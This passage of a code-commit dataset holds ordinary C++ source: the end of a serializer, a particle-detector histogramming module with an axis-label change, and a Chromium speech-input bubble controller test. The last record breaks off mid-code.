ch_in=='\\\"')\n\t\t\t\t\t{putc('\\\\',sink);}\n\t\t\t\tputc(ch_in,sink);\n\t\t\t\t++src;\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\ttemplate<class StorageModel,class Sink>\n\t\tclass Acceptor\n\t\t\t{\n\t\t\tpublic:\n\t\t\t\tusing MapType=typename StorageModel::template MapType< std::unique_ptr< ItemBase<StorageModel> > > ;\n\t\t\t\tusing CompoundArray=typename StorageModel::template ArrayType<MapType>;\n\n\t\t\t\tusing VisitorArray=Visitor<Acceptor,CompoundArray>;\n\t\t\t\tusing VisitorMap=Visitor<Acceptor,MapType>;\n\n\t\t\t\texplicit Acceptor(ItemBase<StorageModel>&&)=delete;\n\n\t\t\t\texplicit Acceptor(const ItemBase<StorageModel>& root,Sink& sink):r_sink(sink)\n\t\t\t\t\t{\n\t\t\t\t\tif(root.array())\n\t\t\t\t\t\t{m_stack.push(VisitorArray::create(root.template value<CompoundArray>(),']') );}\n\t\t\t\t\telse\n\t\t\t\t\t\t{m_stack.push(VisitorMap::create(root.template value<MapType>(),'}'));}\n\t\t\t\t\t}\n\n\t\t\t\tvoid run()\n\t\t\t\t\t{\n\t\t\t\t\twhile(!m_stack.empty())\n\t\t\t\t\t\t{\n\t\t\t\t\t\tauto& visitor=m_stack.top();\n\t\t\t\t\t\tif(visitor->atEnd())\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tputc(visitor->terminator(),r_sink);\n\t\t\t\t\t\t\tm_stack.pop();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvisitor->itemProcess(*this);\n\t\t\t\t\t\t\tvisitor->advance();\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\tvoid operator()(const MapType& node_current,const VisitorArray& visitor)\n\t\t\t\t\t{\n\t\t\t\t\tputc(visitor.atBegin()?'[':',',r_sink);\n\t\t\t\t\tm_stack.push(VisitorMap::create(node_current,'}'));\n\t\t\t\t\t}\n\n\t\t\t\tvoid operator()(const typename MapType::value_type& node_current,const VisitorMap& visitor)\n\t\t\t\t\t{\n\t\t\t\t\tputc(visitor.atBegin()?'{':',',r_sink);\n\t\t\t\t\tputc('\"',r_sink);\n\t\t\t\t\twrite(node_current.first.c_str(),r_sink);\n\t\t\t\t\tauto type_current=node_current.second->type();\n\t\t\t\t\tfprintf(r_sink,\"\\\",%s:\",type(type_current));\n\t\t\t\t\tif(type_current==Type::COMPOUND)\n\t\t\t\t\t\t{\n\t\t\t\t\t\tauto node=VisitorMap::create(node_current.second->template value<MapType>(),'}');\n\t\t\t\t\t\tputc('\\n',r_sink);\n\t\t\t\t\t\tif(node->atEnd())\n\t\t\t\t\t\t\t{putc('{',r_sink);}\n\t\t\t\t\t\tm_stack.push(std::move(node));\n\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\tif(type_current==Type::COMPOUND_ARRAY)\n\t\t\t\t\t\t{\n\t\t\t\t\t\tauto node=VisitorArray::create(node_current.second->template value<CompoundArray>(),'}');\n\t\t\t\t\t\tputc('\\n',r_sink);\n\t\t\t\t\t\tif(node->atEnd())\n\t\t\t\t\t\t\t{putc('[',r_sink);}\n\t\t\t\t\t\tm_stack.push(std::move(node));\n\t\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\t{}\n\t\t\t\t\t}\n\n\t\t\tprivate:\n\t\t\t\tSink& r_sink;\n\t\t\t\tstd::stack< std::unique_ptr< VisitorBase<Acceptor> > > m_stack;\n\t\t\t};\n\t\t}\n\n\ttemplate<class StorageModel,class Sink>\n\tvoid temple_store(const ItemBase<StorageModel>& root,Sink& sink)\n\t\t{Acceptor<StorageModel,Sink>(root,sink).run();}\n\t}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/**\n * @file\n * @brief Implementation of detector histogramming module\n * @copyright MIT License\n *\/\n\n#include \"DetectorHistogrammerModule.hpp\"\n\n#include <algorithm>\n#include <memory>\n#include <string>\n#include <utility>\n\n#include \"core\/geometry\/HybridPixelDetectorModel.hpp\"\n#include \"core\/messenger\/Messenger.hpp\"\n#include \"core\/utils\/log.h\"\n\n#include \"tools\/ROOT.h\"\n\nusing namespace allpix;\n\nDetectorHistogrammerModule::DetectorHistogrammerModule(Configuration config,\n Messenger* messenger,\n std::shared_ptr<Detector> detector)\n : Module(config, detector), config_(std::move(config)), detector_(std::move(detector)), pixels_message_(nullptr) {\n \/\/ Bind pixel hits message\n messenger->bindSingle(this, &DetectorHistogrammerModule::pixels_message_, MsgFlags::REQUIRED);\n}\n\nvoid DetectorHistogrammerModule::init() {\n \/\/ Fetch detector model\n auto model = detector_->getModel();\n\n \/\/ Create histogram of hitmap\n LOG(TRACE) << \"Creating histograms\";\n std::string hit_map_name = \"hit_map\";\n std::string hit_map_title = \"Hitmap for \" + detector_->getName() + \";x (pixels);y (pixels)\";\n hit_map = new TH2I(hit_map_name.c_str(),\n hit_map_title.c_str(),\n model->getNPixels().x(),\n -0.5,\n model->getNPixels().x() - 0.5,\n model->getNPixels().y(),\n -0.5,\n model->getNPixels().y() - 0.5);\n\n \/\/ Create histogram of cluster map\n std::string cluster_map_name = \"cluster_map\";\n std::string cluster_map_title = \"Cluster map for \" + detector_->getName() + \";x (pixels);y (pixels)\";\n cluster_map = new TH2I(cluster_map_name.c_str(),\n cluster_map_title.c_str(),\n model->getNPixels().x(),\n -0.5,\n model->getNPixels().x() - 0.5,\n model->getNPixels().y(),\n -0.5,\n model->getNPixels().y() - 0.5);\n\n \/\/ Create cluster size plots\n std::string cluster_size_name = \"cluster_size\";\n std::string cluster_size_title = \"Cluster size for \" + detector_->getName() + \";size;number\";\n cluster_size = new TH1I(cluster_size_name.c_str(),\n cluster_size_title.c_str(),\n model->getNPixels().x() * model->getNPixels().y(),\n 0.5,\n model->getNPixels().x() * model->getNPixels().y() + 0.5);\n\n std::string cluster_size_x_name = \"cluster_size_x\";\n std::string cluster_size_x_title = \"Cluster size X for \" + detector_->getName() + \";size;number\";\n cluster_size_x = new TH1I(cluster_size_x_name.c_str(),\n cluster_size_x_title.c_str(),\n model->getNPixels().x(),\n 0.5,\n model->getNPixels().x() + 0.5);\n\n std::string cluster_size_y_name = \"cluster_size_y\";\n std::string cluster_size_y_title = \"Cluster size Y for \" + detector_->getName() + \";size;number\";\n cluster_size_y = new TH1I(cluster_size_y_name.c_str(),\n cluster_size_y_title.c_str(),\n model->getNPixels().y(),\n 0.5,\n model->getNPixels().y() + 0.5);\n\n \/\/ Create event size plot\n std::string event_size_name = \"event_size\";\n std::string event_size_title = \"Event size for \" + detector_->getName() + \";size;number\";\n event_size = new TH1I(event_size_name.c_str(),\n event_size_title.c_str(),\n model->getNPixels().x() * model->getNPixels().y(),\n 0.5,\n model->getNPixels().x() * model->getNPixels().y() + 0.5);\n\n \/\/ Create number of clusters plot\n std::string n_cluster_name = \"n_cluster\";\n std::string n_cluster_title = \"Number of clusters for \" + detector_->getName() + \";size;number\";\n n_cluster = new TH1I(n_cluster_name.c_str(),\n n_cluster_title.c_str(),\n model->getNPixels().x() * model->getNPixels().y(),\n 0.5,\n model->getNPixels().x() * model->getNPixels().y() + 0.5);\n\n \/\/ Create cluster charge plot\n std::string cluster_charge_name = \"cluster_charge\";\n std::string cluster_charge_title = \"Cluster charge for \" + detector_->getName() + \";size;number\";\n cluster_charge = new TH1D(cluster_charge_name.c_str(), cluster_charge_title.c_str(), 200, 0., 100.);\n}\n\nvoid DetectorHistogrammerModule::run(unsigned int) {\n LOG(DEBUG) << \"Adding hits in \" << pixels_message_->getData().size() << \" pixels\";\n\n \/\/ Fill 2D hitmap histogram\n for(auto& pixel_charge : pixels_message_->getData()) {\n auto pixel_idx = pixel_charge.getPixel().getIndex();\n\n \/\/ Add pixel\n hit_map->Fill(pixel_idx.x(), pixel_idx.y());\n\n \/\/ Update statistics\n total_vector_ += pixel_idx;\n total_hits_ += 1;\n }\n\n \/\/ Perform a clustering\n doClustering();\n\n \/\/ Evaluate the clusters\n for(auto clus : clusters_) {\n LOG(DEBUG) << \"Cluster, size \" << clus->getClusterSize() << \" :\";\n for(auto& pixel : clus->getPixelHits()) {\n LOG(DEBUG) << pixel->getPixel().getIndex();\n }\n \/\/ Fill cluster histograms\n cluster_size->Fill(static_cast<double>(clus->getClusterSize()));\n auto clusSizesXY = clus->getClusterSizeXY();\n cluster_size_x->Fill(clusSizesXY.first);\n cluster_size_y->Fill(clusSizesXY.second);\n\n auto clusPos = clus->getClusterPosition();\n cluster_map->Fill(clusPos.x(), clusPos.y());\n cluster_charge->Fill(clus->getClusterCharge() * 1.e-3);\n }\n\n \/\/ Fill further histograms\n event_size->Fill(static_cast<double>(pixels_message_->getData().size()));\n n_cluster->Fill(static_cast<double>(clusters_.size()));\n\n clusters_.clear();\n}\n\nvoid DetectorHistogrammerModule::finalize() {\n \/\/ Print statistics\n if(total_hits_ != 0) {\n LOG(INFO) << \"Plotted \" << total_hits_ << \" hits in total, mean position is \"\n << total_vector_ \/ static_cast<double>(total_hits_);\n } else {\n LOG(WARNING) << \"No hits plotted\";\n }\n\n \/\/ FIXME Set more useful spacing maximum for cluster size histogram\n auto xmax = std::ceil(cluster_size->GetBinCenter(cluster_size->FindLastBinAbove()) + 1);\n cluster_size->GetXaxis()->SetRangeUser(0, xmax);\n \/\/ Set cluster size axis spacing\n if(static_cast<int>(xmax) < 10) {\n cluster_size->GetXaxis()->SetNdivisions(static_cast<int>(xmax) + 1, 0, 0, true);\n }\n\n xmax = std::ceil(cluster_size_x->GetBinCenter(cluster_size_x->FindLastBinAbove()) + 1);\n cluster_size_x->GetXaxis()->SetRangeUser(0, xmax);\n \/\/ Set cluster size_x axis spacing\n if(static_cast<int>(xmax) < 10) {\n cluster_size_x->GetXaxis()->SetNdivisions(static_cast<int>(xmax) + 1, 0, 0, true);\n }\n\n xmax = std::ceil(cluster_size_y->GetBinCenter(cluster_size_y->FindLastBinAbove()) + 1);\n cluster_size_y->GetXaxis()->SetRangeUser(0, xmax);\n \/\/ Set cluster size_y axis spacing\n if(static_cast<int>(xmax) < 10) {\n cluster_size_y->GetXaxis()->SetNdivisions(static_cast<int>(xmax) + 1, 0, 0, true);\n }\n\n \/\/ FIXME Set more useful spacing maximum for event size histogram\n xmax = std::ceil(event_size->GetBinCenter(event_size->FindLastBinAbove()) + 1);\n event_size->GetXaxis()->SetRangeUser(0, xmax);\n \/\/ Set event size axis spacing\n if(static_cast<int>(xmax) < 10) {\n event_size->GetXaxis()->SetNdivisions(static_cast<int>(xmax) + 1, 0, 0, true);\n }\n\n \/\/ FIXME Set more useful spacing maximum for n_cluster histogram\n xmax = std::ceil(n_cluster->GetBinCenter(n_cluster->FindLastBinAbove()) + 1);\n n_cluster->GetXaxis()->SetRangeUser(0, xmax);\n \/\/ Set cluster size axis spacing\n if(static_cast<int>(xmax) < 10) {\n n_cluster->GetXaxis()->SetNdivisions(static_cast<int>(xmax) + 1, 0, 0, true);\n }\n\n \/\/ FIXME Set more useful spacing maximum for cluster_charge histogram\n xmax = std::ceil(cluster_charge->GetBinCenter(cluster_charge->FindLastBinAbove()) + 1);\n cluster_charge->GetXaxis()->SetRangeUser(0, xmax);\n \/\/ Set cluster size axis spacing\n if(static_cast<int>(xmax) < 10) {\n cluster_charge->GetXaxis()->SetNdivisions(static_cast<int>(xmax) + 1, 0, 0, true);\n }\n\n \/\/ Set default drawing option histogram for hitmap\n hit_map->SetOption(\"colz\");\n \/\/ Set hit_map axis spacing\n if(static_cast<int>(hit_map->GetXaxis()->GetXmax()) < 10) {\n hit_map->GetXaxis()->SetNdivisions(static_cast<int>(hit_map->GetXaxis()->GetXmax()) + 1, 0, 0, true);\n }\n if(static_cast<int>(hit_map->GetYaxis()->GetXmax()) < 10) {\n hit_map->GetYaxis()->SetNdivisions(static_cast<int>(hit_map->GetYaxis()->GetXmax()) + 1, 0, 0, true);\n }\n\n cluster_map->SetOption(\"colz\");\n \/\/ Set cluster_map axis spacing\n if(static_cast<int>(cluster_map->GetXaxis()->GetXmax()) < 10) {\n cluster_map->GetXaxis()->SetNdivisions(static_cast<int>(cluster_map->GetXaxis()->GetXmax()) + 1, 0, 0, true);\n }\n if(static_cast<int>(cluster_map->GetYaxis()->GetXmax()) < 10) {\n cluster_map->GetYaxis()->SetNdivisions(static_cast<int>(cluster_map->GetYaxis()->GetXmax()) + 1, 0, 0, true);\n }\n\n \/\/ Write histograms\n LOG(TRACE) << \"Writing histograms to file\";\n hit_map->Write();\n cluster_map->Write();\n cluster_size->Write();\n cluster_size_x->Write();\n cluster_size_y->Write();\n event_size->Write();\n n_cluster->Write();\n cluster_charge->Write();\n}\n\nvoid DetectorHistogrammerModule::doClustering() {\n for(auto& pixel_hit : pixels_message_->getData()) {\n Cluster* clus;\n if(not checkAdjacentPixels(&pixel_hit)) {\n LOG(DEBUG) << \"Creating new cluster: \" << pixel_hit.getPixel().getIndex();\n clus = new Cluster(&pixel_hit);\n clusters_.push_back(clus);\n }\n }\n}\n\nbool DetectorHistogrammerModule::isInCluster(const PixelHit* pixel_hit) {\n for(auto clus : clusters_) {\n for(auto& hit : clus->getPixelHits()) {\n if(pixel_hit == hit) {\n return true;\n }\n }\n }\n return false;\n}\n\nbool DetectorHistogrammerModule::checkAdjacentPixels(const PixelHit* pixel_hit) {\n auto hit_idx = pixel_hit->getPixel().getIndex();\n for(auto clus : clusters_) {\n for(auto& pixel_other : clus->getPixelHits()) {\n auto other_idx = pixel_other->getPixel().getIndex();\n auto distx = std::max(hit_idx.x(), other_idx.x()) - std::min(hit_idx.x(), other_idx.x());\n auto disty = std::max(hit_idx.y(), other_idx.y()) - std::min(hit_idx.y(), other_idx.y());\n if(distx <= 1 and disty <= 1) {\n LOG(DEBUG) << \"Adding pixel to cluster: \" << hit_idx;\n bool ret = clus->addPixelHit(pixel_hit);\n if(ret == false) {\n LOG(DEBUG) << \"Hit has already been added to this cluster: \" << hit_idx;\n }\n return true;\n }\n }\n }\n return false;\n}\n<commit_msg>Change axes labels<commit_after>\/**\n * @file\n * @brief Implementation of detector histogramming module\n * @copyright MIT License\n *\/\n\n#include \"DetectorHistogrammerModule.hpp\"\n\n#include <algorithm>\n#include <memory>\n#include <string>\n#include <utility>\n\n#include \"core\/geometry\/HybridPixelDetectorModel.hpp\"\n#include \"core\/messenger\/Messenger.hpp\"\n#include \"core\/utils\/log.h\"\n\n#include \"tools\/ROOT.h\"\n\nusing namespace allpix;\n\nDetectorHistogrammerModule::DetectorHistogrammerModule(Configuration config,\n Messenger* messenger,\n std::shared_ptr<Detector> detector)\n : Module(config, detector), config_(std::move(config)), detector_(std::move(detector)), pixels_message_(nullptr) {\n \/\/ Bind pixel hits message\n messenger->bindSingle(this, &DetectorHistogrammerModule::pixels_message_, MsgFlags::REQUIRED);\n}\n\nvoid DetectorHistogrammerModule::init() {\n \/\/ Fetch detector model\n auto model = detector_->getModel();\n\n \/\/ Create histogram of hitmap\n LOG(TRACE) << \"Creating histograms\";\n std::string hit_map_name = \"hit_map\";\n std::string hit_map_title = \"Hitmap for \" + detector_->getName() + \";x (pixels);y (pixels)\";\n hit_map = new TH2I(hit_map_name.c_str(),\n hit_map_title.c_str(),\n model->getNPixels().x(),\n -0.5,\n model->getNPixels().x() - 0.5,\n model->getNPixels().y(),\n -0.5,\n model->getNPixels().y() - 0.5);\n\n \/\/ Create histogram of cluster map\n std::string cluster_map_name = \"cluster_map\";\n std::string cluster_map_title = \"Cluster map for \" + detector_->getName() + \";x (pixels);y (pixels)\";\n cluster_map = new TH2I(cluster_map_name.c_str(),\n cluster_map_title.c_str(),\n model->getNPixels().x(),\n -0.5,\n model->getNPixels().x() - 0.5,\n model->getNPixels().y(),\n -0.5,\n model->getNPixels().y() - 0.5);\n\n \/\/ Create cluster size plots\n std::string cluster_size_name = \"cluster_size\";\n std::string cluster_size_title = \"Cluster size for \" + detector_->getName() + \";cluster size [px];clusters\";\n cluster_size = new TH1I(cluster_size_name.c_str(),\n cluster_size_title.c_str(),\n model->getNPixels().x() * model->getNPixels().y(),\n 0.5,\n model->getNPixels().x() * model->getNPixels().y() + 0.5);\n\n std::string cluster_size_x_name = \"cluster_size_x\";\n std::string cluster_size_x_title = \"Cluster size X for \" + detector_->getName() + \";cluster size x [px];clusters\";\n cluster_size_x = new TH1I(cluster_size_x_name.c_str(),\n cluster_size_x_title.c_str(),\n model->getNPixels().x(),\n 0.5,\n model->getNPixels().x() + 0.5);\n\n std::string cluster_size_y_name = \"cluster_size_y\";\n std::string cluster_size_y_title = \"Cluster size Y for \" + detector_->getName() + \";cluster size y [px];clusters\";\n cluster_size_y = new TH1I(cluster_size_y_name.c_str(),\n cluster_size_y_title.c_str(),\n model->getNPixels().y(),\n 0.5,\n model->getNPixels().y() + 0.5);\n\n \/\/ Create event size plot\n std::string event_size_name = \"event_size\";\n std::string event_size_title = \"Event size for \" + detector_->getName() + \";event size [px];events\";\n event_size = new TH1I(event_size_name.c_str(),\n event_size_title.c_str(),\n model->getNPixels().x() * model->getNPixels().y(),\n 0.5,\n model->getNPixels().x() * model->getNPixels().y() + 0.5);\n\n \/\/ Create number of clusters plot\n std::string n_cluster_name = \"n_cluster\";\n std::string n_cluster_title = \"Number of clusters for \" + detector_->getName() + \";size;clusters\";\n n_cluster = new TH1I(n_cluster_name.c_str(),\n n_cluster_title.c_str(),\n model->getNPixels().x() * model->getNPixels().y(),\n 0.5,\n model->getNPixels().x() * model->getNPixels().y() + 0.5);\n\n \/\/ Create cluster charge plot\n std::string cluster_charge_name = \"cluster_charge\";\n std::string cluster_charge_title = \"Cluster charge for \" + detector_->getName() + \";cluster charge [ke];clusters\";\n cluster_charge = new TH1D(cluster_charge_name.c_str(), cluster_charge_title.c_str(), 200, 0., 100.);\n}\n\nvoid DetectorHistogrammerModule::run(unsigned int) {\n LOG(DEBUG) << \"Adding hits in \" << pixels_message_->getData().size() << \" pixels\";\n\n \/\/ Fill 2D hitmap histogram\n for(auto& pixel_charge : pixels_message_->getData()) {\n auto pixel_idx = pixel_charge.getPixel().getIndex();\n\n \/\/ Add pixel\n hit_map->Fill(pixel_idx.x(), pixel_idx.y());\n\n \/\/ Update statistics\n total_vector_ += pixel_idx;\n total_hits_ += 1;\n }\n\n \/\/ Perform a clustering\n doClustering();\n\n \/\/ Evaluate the clusters\n for(auto clus : clusters_) {\n LOG(DEBUG) << \"Cluster, size \" << clus->getClusterSize() << \" :\";\n for(auto& pixel : clus->getPixelHits()) {\n LOG(DEBUG) << pixel->getPixel().getIndex();\n }\n \/\/ Fill cluster histograms\n cluster_size->Fill(static_cast<double>(clus->getClusterSize()));\n auto clusSizesXY = clus->getClusterSizeXY();\n cluster_size_x->Fill(clusSizesXY.first);\n cluster_size_y->Fill(clusSizesXY.second);\n\n auto clusPos = clus->getClusterPosition();\n cluster_map->Fill(clusPos.x(), clusPos.y());\n cluster_charge->Fill(clus->getClusterCharge() * 1.e-3);\n }\n\n \/\/ Fill further histograms\n event_size->Fill(static_cast<double>(pixels_message_->getData().size()));\n n_cluster->Fill(static_cast<double>(clusters_.size()));\n\n clusters_.clear();\n}\n\nvoid DetectorHistogrammerModule::finalize() {\n \/\/ Print statistics\n if(total_hits_ != 0) {\n LOG(INFO) << \"Plotted \" << total_hits_ << \" hits in total, mean position is \"\n << total_vector_ \/ static_cast<double>(total_hits_);\n } else {\n LOG(WARNING) << \"No hits plotted\";\n }\n\n \/\/ FIXME Set more useful spacing maximum for cluster size histogram\n auto xmax = std::ceil(cluster_size->GetBinCenter(cluster_size->FindLastBinAbove()) + 1);\n cluster_size->GetXaxis()->SetRangeUser(0, xmax);\n \/\/ Set cluster size axis spacing\n if(static_cast<int>(xmax) < 10) {\n cluster_size->GetXaxis()->SetNdivisions(static_cast<int>(xmax) + 1, 0, 0, true);\n }\n\n xmax = std::ceil(cluster_size_x->GetBinCenter(cluster_size_x->FindLastBinAbove()) + 1);\n cluster_size_x->GetXaxis()->SetRangeUser(0, xmax);\n \/\/ Set cluster size_x axis spacing\n if(static_cast<int>(xmax) < 10) {\n cluster_size_x->GetXaxis()->SetNdivisions(static_cast<int>(xmax) + 1, 0, 0, true);\n }\n\n xmax = std::ceil(cluster_size_y->GetBinCenter(cluster_size_y->FindLastBinAbove()) + 1);\n cluster_size_y->GetXaxis()->SetRangeUser(0, xmax);\n \/\/ Set cluster size_y axis spacing\n if(static_cast<int>(xmax) < 10) {\n cluster_size_y->GetXaxis()->SetNdivisions(static_cast<int>(xmax) + 1, 0, 0, true);\n }\n\n \/\/ FIXME Set more useful spacing maximum for event size histogram\n xmax = std::ceil(event_size->GetBinCenter(event_size->FindLastBinAbove()) + 1);\n event_size->GetXaxis()->SetRangeUser(0, xmax);\n \/\/ Set event size axis spacing\n if(static_cast<int>(xmax) < 10) {\n event_size->GetXaxis()->SetNdivisions(static_cast<int>(xmax) + 1, 0, 0, true);\n }\n\n \/\/ FIXME Set more useful spacing maximum for n_cluster histogram\n xmax = std::ceil(n_cluster->GetBinCenter(n_cluster->FindLastBinAbove()) + 1);\n n_cluster->GetXaxis()->SetRangeUser(0, xmax);\n \/\/ Set cluster size axis spacing\n if(static_cast<int>(xmax) < 10) {\n n_cluster->GetXaxis()->SetNdivisions(static_cast<int>(xmax) + 1, 0, 0, true);\n }\n\n \/\/ FIXME Set more useful spacing maximum for cluster_charge histogram\n xmax = std::ceil(cluster_charge->GetBinCenter(cluster_charge->FindLastBinAbove()) + 1);\n cluster_charge->GetXaxis()->SetRangeUser(0, xmax);\n \/\/ Set cluster size axis spacing\n if(static_cast<int>(xmax) < 10) {\n cluster_charge->GetXaxis()->SetNdivisions(static_cast<int>(xmax) + 1, 0, 0, true);\n }\n\n \/\/ Set default drawing option histogram for hitmap\n hit_map->SetOption(\"colz\");\n \/\/ Set hit_map axis spacing\n if(static_cast<int>(hit_map->GetXaxis()->GetXmax()) < 10) {\n hit_map->GetXaxis()->SetNdivisions(static_cast<int>(hit_map->GetXaxis()->GetXmax()) + 1, 0, 0, true);\n }\n if(static_cast<int>(hit_map->GetYaxis()->GetXmax()) < 10) {\n hit_map->GetYaxis()->SetNdivisions(static_cast<int>(hit_map->GetYaxis()->GetXmax()) + 1, 0, 0, true);\n }\n\n cluster_map->SetOption(\"colz\");\n \/\/ Set cluster_map axis spacing\n if(static_cast<int>(cluster_map->GetXaxis()->GetXmax()) < 10) {\n cluster_map->GetXaxis()->SetNdivisions(static_cast<int>(cluster_map->GetXaxis()->GetXmax()) + 1, 0, 0, true);\n }\n if(static_cast<int>(cluster_map->GetYaxis()->GetXmax()) < 10) {\n cluster_map->GetYaxis()->SetNdivisions(static_cast<int>(cluster_map->GetYaxis()->GetXmax()) + 1, 0, 0, true);\n }\n\n \/\/ Write histograms\n LOG(TRACE) << \"Writing histograms to file\";\n hit_map->Write();\n cluster_map->Write();\n cluster_size->Write();\n cluster_size_x->Write();\n cluster_size_y->Write();\n event_size->Write();\n n_cluster->Write();\n cluster_charge->Write();\n}\n\nvoid DetectorHistogrammerModule::doClustering() {\n for(auto& pixel_hit : pixels_message_->getData()) {\n Cluster* clus;\n if(not checkAdjacentPixels(&pixel_hit)) {\n LOG(DEBUG) << \"Creating new cluster: \" << pixel_hit.getPixel().getIndex();\n clus = new Cluster(&pixel_hit);\n clusters_.push_back(clus);\n }\n }\n}\n\nbool DetectorHistogrammerModule::isInCluster(const PixelHit* pixel_hit) {\n for(auto clus : clusters_) {\n for(auto& hit : clus->getPixelHits()) {\n if(pixel_hit == hit) {\n return true;\n }\n }\n }\n return false;\n}\n\nbool DetectorHistogrammerModule::checkAdjacentPixels(const PixelHit* pixel_hit) {\n auto hit_idx = pixel_hit->getPixel().getIndex();\n for(auto clus : clusters_) {\n for(auto& pixel_other : clus->getPixelHits()) {\n auto other_idx = pixel_other->getPixel().getIndex();\n auto distx = std::max(hit_idx.x(), other_idx.x()) - std::min(hit_idx.x(), other_idx.x());\n auto disty = std::max(hit_idx.y(), other_idx.y()) - std::min(hit_idx.y(), other_idx.y());\n if(distx <= 1 and disty <= 1) {\n LOG(DEBUG) << \"Adding pixel to cluster: \" << hit_idx;\n bool ret = clus->addPixelHit(pixel_hit);\n if(ret == false) {\n LOG(DEBUG) << \"Hit has already been added to this cluster: \" << hit_idx;\n }\n return true;\n }\n }\n }\n return false;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/chrome_thread.h\"\n#include \"chrome\/browser\/speech\/speech_input_bubble_controller.h\"\n#include \"gfx\/rect.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace speech_input {\n\n\/\/ A mock bubble class which fakes a focus change or recognition cancel by the\n\/\/ user and closing of the info bubble.\nclass MockSpeechInputBubble : public SpeechInputBubble {\n public:\n enum BubbleType {\n BUBBLE_TEST_FOCUS_CHANGED,\n BUBBLE_TEST_RECOGNITION_CANCELLED\n };\n\n MockSpeechInputBubble(TabContents*, Delegate* delegate, const gfx::Rect&) {\n MessageLoop::current()->PostTask(\n FROM_HERE, NewRunnableFunction(&InvokeDelegate, delegate));\n }\n\n static void InvokeDelegate(Delegate* delegate) {\n if (type_ == BUBBLE_TEST_FOCUS_CHANGED)\n delegate->InfoBubbleClosed();\n else\n delegate->RecognitionCancelled();\n }\n\n static void set_type(BubbleType type) {\n type_ = type;\n }\n\n virtual void SetRecognizingMode() {}\n\n private:\n static BubbleType type_;\n};\n\n\/\/ The test fixture.\nclass SpeechInputBubbleControllerTest\n : public SpeechInputBubbleControllerDelegate,\n public testing::Test {\n public:\n SpeechInputBubbleControllerTest()\n : io_loop_(MessageLoop::TYPE_IO),\n ui_thread_(ChromeThread::UI), \/\/ constructs a new thread and loop\n io_thread_(ChromeThread::IO, &io_loop_), \/\/ resuses main thread loop\n recognition_cancelled_(false),\n focus_changed_(false) {\n }\n\n \/\/ SpeechInputBubbleControllerDelegate methods.\n virtual void RecognitionCancelled(int caller_id) {\n EXPECT_TRUE(ChromeThread::CurrentlyOn(ChromeThread::IO));\n recognition_cancelled_ = true;\n MessageLoop::current()->Quit();\n }\n\n virtual void SpeechInputFocusChanged(int caller_id) {\n EXPECT_TRUE(ChromeThread::CurrentlyOn(ChromeThread::IO));\n focus_changed_ = true;\n MessageLoop::current()->Quit();\n }\n\n \/\/ testing::Test methods.\n virtual void SetUp() {\n SpeechInputBubble::set_factory(\n &SpeechInputBubbleControllerTest::CreateBubble);\n ui_thread_.Start();\n }\n\n virtual void TearDown() {\n SpeechInputBubble::set_factory(NULL);\n ui_thread_.Stop();\n }\n\n static SpeechInputBubble* CreateBubble(TabContents* tab_contents,\n SpeechInputBubble::Delegate* delegate,\n const gfx::Rect& element_rect) {\n EXPECT_TRUE(ChromeThread::CurrentlyOn(ChromeThread::UI));\n return new MockSpeechInputBubble(tab_contents, delegate, element_rect);\n }\n\n protected:\n \/\/ The main thread of the test is marked as the IO thread and we create a new\n \/\/ one for the UI thread.\n MessageLoop io_loop_;\n ChromeThread ui_thread_;\n ChromeThread io_thread_;\n bool recognition_cancelled_;\n bool focus_changed_;\n};\n\nMockSpeechInputBubble::BubbleType MockSpeechInputBubble::type_ =\n MockSpeechInputBubble::BUBBLE_TEST_FOCUS_CHANGED;\n\n\/\/ Test that the speech bubble UI gets created in the UI thread and that the\n\/\/ focus changed callback comes back in the IO thread.\nTEST_F(SpeechInputBubbleControllerTest, TestFocusChanged) {\n MockSpeechInputBubble::set_type(\n MockSpeechInputBubble::BUBBLE_TEST_FOCUS_CHANGED);\n\n scoped_refptr<SpeechInputBubbleController> controller(\n new SpeechInputBubbleController(this));\n\n controller->CreateBubble(0, 1, 1, gfx::Rect(1, 1));\n MessageLoop::current()->Run();\n EXPECT_TRUE(focus_changed_);\n EXPECT_FALSE(recognition_cancelled_);\n}\n\n\/\/ Test that the speech bubble UI gets created in the UI thread and that the\n\/\/ recognition cancelled callback comes back in the IO thread.\nTEST_F(SpeechInputBubbleControllerTest, TestRecognitionCancelled) {\n MockSpeechInputBubble::set_type(\n MockSpeechInputBubble::BUBBLE_TEST_RECOGNITION_CANCELLED);\n\n scoped_refptr<SpeechInputBubbleController> controller(\n new SpeechInputBubbleController(this));\n\n controller->CreateBubble(0, 1, 1, gfx::Rect(1, 1));\n MessageLoop::current()->Run();\n EXPECT_TRUE(recognition_cancelled_);\n EXPECT_FALSE(focus_changed_);\n}\n\n} \/\/ namespace speech_input\n<commit_msg>Marked SpeechInputBubbleControllerTest.TestFocusChanged as disabled.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/chrome_thread.h\"\n#include \"chrome\/browser\/speech\/speech_input_bubble_controller.h\"\n#include \"gfx\/rect.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace speech_input {\n\n\/\/ A mock bubble class which fakes a focus change or recognition cancel by the\n\/\/ user and closing of the info bubble.\nclass MockSpeechInputBubble : public SpeechInputBubble {\n public:\n enum BubbleType {\n BUBBLE_TEST_FOCUS_CHANGED,\n BUBBLE_TEST_RECOGNITION_CANCELLED\n };\n\n MockSpeechInputBubble(TabContents*, Delegate* delegate, const gfx::Rect&) {\n MessageLoop::current()->PostTask(\n FROM_HERE, NewRunnableFunction(&InvokeDelegate, delegate));\n }\n\n static void InvokeDelegate(Delegate* delegate) {\n if (type_ == 